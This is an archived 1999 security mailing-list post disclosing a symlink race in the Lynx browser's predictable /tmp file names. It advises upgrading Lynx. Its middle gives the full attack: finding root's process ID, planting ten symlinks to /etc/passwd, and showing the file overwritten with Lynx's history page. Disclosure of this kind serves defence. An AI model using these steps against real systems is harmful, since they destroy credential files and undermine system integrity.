Lynx /tmp problem

From: Juan Diego Bolanos (diegoat_private)
Date: Tue Feb 09 1999 - 17:57:30 PST

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    Hi Aleph,
    please filter this if already posted....
    ------
    
    Hello....
    
    I have found a bug in Lynx all versions, except the latest stable
    release...
    
    lynx create temporary files in /tmp in this way....
    
    
    L[num proc]-xTMP.html
    
    where
    
    [num proc] is the proc number in the machine
    x is a number from 0 to 9
    
    if i run lynx like any user, for example root we see this
    
    earthworm:~$ ps
      PID TTY STAT  TIME COMMAND
       91   1 SW   0:06 (bash)
       94   4 S    0:05 -bash
       95   5 SW   0:06 (bash)
     3867  a3 S    0:00 pppd -detach defaultroute crtscts modem 192.168.2.6:
     3870   3 SW   0:02 (ssh)
     3894   4 T    0:00 lynx
     3898   4 R    0:00 ps
    
    then the files in /tmp created by lynx will be..
    
    L3894-0TMP.html
    L3894-1TMP.html
    L3894-2TMP.html
    L3894-3TMP.html
    L3894-4TMP.html
    L3894-5TMP.html
    L3894-6TMP.html
    L3894-7TMP.html
    L3894-8TMP.html
    L3894-9TMP.html
    
    if i make a symlink
    from all of this files to any file in the system, for example....
    
    
    earthworm:~$ cd /tmp
    earthworm:/tmp$ ln -s /etc/passwd  L3894-0TMP.html
    earthworm:/tmp$ ln -s /etc/passwd  L3894-1TMP.html
    earthworm:/tmp$ ln -s /etc/passwd  L3894-2TMP.html
    earthworm:/tmp$ ln -s /etc/passwd  L3894-3TMP.html
    earthworm:/tmp$ ln -s /etc/passwd  L3894-4TMP.html
    earthworm:/tmp$ ln -s /etc/passwd  L3894-5TMP.html
    earthworm:/tmp$ ln -s /etc/passwd  L3894-6TMP.html
    earthworm:/tmp$ ln -s /etc/passwd  L3894-7TMP.html
    earthworm:/tmp$ ln -s /etc/passwd  L3894-8TMP.html
    earthworm:/tmp$ ln -s /etc/passwd  L3894-9TMP.html
    
    and now root (in this example) try to download a file, or press the
    backspace key to reach the history list, the file i have linked (in this
    case /etc/passwd) will be replaced with it... and now is owned by root...
    
    for example i got this in my system...
    
    earthworm:/tmp$ cat /etc/passwd
    
    <head>
    <title>Lynx History Page</title>
    </head>
    <body>
    <h1>You have reached the History Page</h1>
    <h2>Lynx Version 2.8rel2</h2>
    <pre><em>You selected:</em>
      <em>0</em>. <tab id=t0><a href="LYNXHIST:0">Internet Firewalls Frequently Asked Questions</a>
    <tab to=t0>file://localhost/root/firefaq.html
    </pre>
    </body>
    
    
    like you see, the file is lost now...
    
    this bug is lynx specific, so all OS are vulnerables..
    
    Fix, upgrade to the latest lynx version, i have checked it, and it appear
    to use a L[proc num]-xTMP.html where x is from 0 to ???...
    
    i hope it is already fixed, creating 100 symlinks are not to hard :)
    
    the lynx team know this yet.
    
    by...
    
    
    Juan Diego
    



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